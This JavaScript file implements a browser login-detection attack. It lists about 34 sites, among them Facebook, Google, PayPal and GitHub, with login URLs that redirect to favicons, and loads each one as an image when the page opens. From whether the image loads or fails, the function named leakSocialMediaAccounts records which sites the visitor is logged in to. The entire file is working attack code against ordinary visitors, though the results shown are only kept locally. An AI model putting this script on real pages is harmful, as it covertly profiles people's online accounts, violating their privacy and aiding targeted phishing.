index.js

var data = [];

const platforms = [{
  domain: "https://squareup.com",
  redirect: "/login?return_to=%2Ffavicon.ico",
  name: "Square"
}, {
  domain: "https://twitter.com",
  redirect: "/login?redirect_after_login=%2Ffavicon.ico",
  name: "Twitter"
}, {
  domain: "https://www.facebook.com",
  redirect: "/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico%3F_rdr%3Dp",
  name: "Facebook"
}, {
  domain: "https://accounts.google.com",
  redirect: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube",
  name: "Youtube"
}, {
  domain: "https://login.skype.com",
  redirect: "/login?message=signin_continue&redirect_uri=https%3A%2F%2Fsecure.skype.com%2Ffavicon.ico",
  name: "Skype"
}, {
  domain: "https://www.spotify.com",
  redirect: "/en/login/?forward_url=https%3A%2F%2Fwww.spotify.com%2Ffavicon.ico",
  name: "Spotify"
}, {
  domain: "https://www.reddit.com",
  redirect: "/login?dest=https%3A%2F%2Fwww.reddit.com%2Ffavicon.ico",
  name: "Reddit"
}, {
  domain: "https://www.tumblr.com",
  redirect: "/login?redirect_to=%2Ffavicon.ico",
  name: "Tumblr"
}, {
  domain: "https://www.expedia.de",
  redirect: "/user/login?ckoflag=0&selc=0&uurl=qscr%3Dreds%26rurl%3D%252Ffavicon.ico",
  name: "Expedia"
}, {
  domain: "https://www.dropbox.com",
  redirect: "/login?cont=https%3A%2F%2Fwww.dropbox.com%2Fstatic%2Fimages%2Fabout%2Fdropbox_logo_glyph_2015.svg",
  name: "Dropbox"
}, {
  domain: "https://www.amazon.com",
  redirect: "/ap/signin/178-4417027-1316064?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=10000000&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico",
  name: "Amazon.com"
}, {
  domain: "https://www.pinterest.com",
  redirect: "/login/?next=https%3A%2F%2Fwww.pinterest.com%2Ffavicon.ico",
  name: "Pinterest"
}, {
  domain: "https://de.foursquare.com",
  redirect: "/login?continue=%2Ffavicon.ico",
  name: "Foursquare"
}, {
  domain: "https://eu.battle.net",
  redirect: "/login/de/index?ref=http://eu.battle.net/favicon.ico",
  name: "Battle.net"
}, {
  domain: "https://store.steampowered.com",
  redirect: "/login/?redir=favicon.ico",
  name: "Steam"
}, {
  domain: "https://www.academia.edu",
  redirect: "/login?cp=/favicon.ico&cs=www",
  name: "Academia.edu"
}, {
  domain: "https://accounts.google.com",
  redirect: "/ServiceLogin?service=blogger&hl=de&passive=1209600&continue=https://www.blogger.com/favicon.ico",
  name: "Blogger"
}, {
  domain: "https://github.com",
  redirect: "/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1",
  name: "Github"
}, {
  domain: "https://medium.com",
  redirect: "/m/signin?redirect=https%3A%2F%2Fmedium.com%2Ffavicon.ico&loginType=default",
  name: "Medium"
}, {
  domain: "https://news.ycombinator.com",
  redirect: "/login?goto=y18.gif%23",
  name: "Hackernews"
}, {
  domain: "https://carbonmade.com",
  redirect: "/signin?returnTo=favicon.ico",
  name: "Carbonmade"
}, {
  domain: "https://courses.edx.org",
  redirect: "/login?next=/favicon.ico",
  name: "EdX"
}, {
  domain: "https://slack.com",
  redirect: "/checkcookie?redir=https%3A%2F%2Fslack.com%2Ffavicon.ico%23",
  name: "Slack"
}, {
  domain: "https://www.khanacademy.org",
  redirect: "/login?continue=https%3A//www.khanacademy.org/favicon.ico",
  name: "Khan Academy"
}, {
  domain: "https://www.paypal.com",
  redirect: "/signin?returnUri=https://t.paypal.com/ts?v=1.0.0",
  name: "Paypal"
}, {
  domain: "https://500px.com",
  redirect: "/login?r=%2Ffavicon.ico",
  name: "500px"
}, {
  domain: "https://www.airbnb.com",
  redirect: "/login?redirect_params[action]=favicon.ico&redirect_params[controller]=home",
  name: "Airbnb"
}, {
  domain: "https://disqus.com",
  redirect: "/profile/login/?next=https%3A%2F%2Fdisqus.com%2Ffavicon.ico",
  name: "Disqus"
}, {
  domain: "https://secure.meetup.com",
  redirect: "/login/?returnUri=https%3A%2F%2Fwww.meetup.com%2Fimg%2Fajax_loader_trans.gif",
  name: "Meetup"
}, {
  domain: "https://bitbucket.org",
  redirect: "/account/signin/?next=/favicon.ico",
  name: "BitBucket"
}, {
  domain: "https://secure.indeed.com",
  redirect: "/account/login?continue=%2ffavicon.ico",
  name: "Indeed"
}, {
  domain: "https://vk.com",
  redirect: "/login?u=2&to=ZmF2aWNvbi5pY28-",
  name: "VK"
}, {
  domain: "https://tutu.ru",
  redirect: "/user/login/?backurl=https%3A%2F%2Fwww.tutu.ru%2Ffavicon.ico",
  name: "Tutu",
}, {
  domain: "https://www.livejournal.com",
  redirect: "/login.bml?returnto=%2Ffavicon.ico",
  name: "Livejournal",
}];



function leakSocialMediaAccounts (callback) {
  platforms.forEach(function(network) {
    var img = document.createElement('img');
    img.src = network.domain + network.redirect;
    img.onload = function() {
      callback(network, true);
    };
    img.onerror = function() {
      callback(network, false);
    };
  })
};

function collectData(platform, isLogged) {
  if (!isLogged) {
    return;
  }

  data.push(platform.name);
}

leakSocialMediaAccounts(collectData);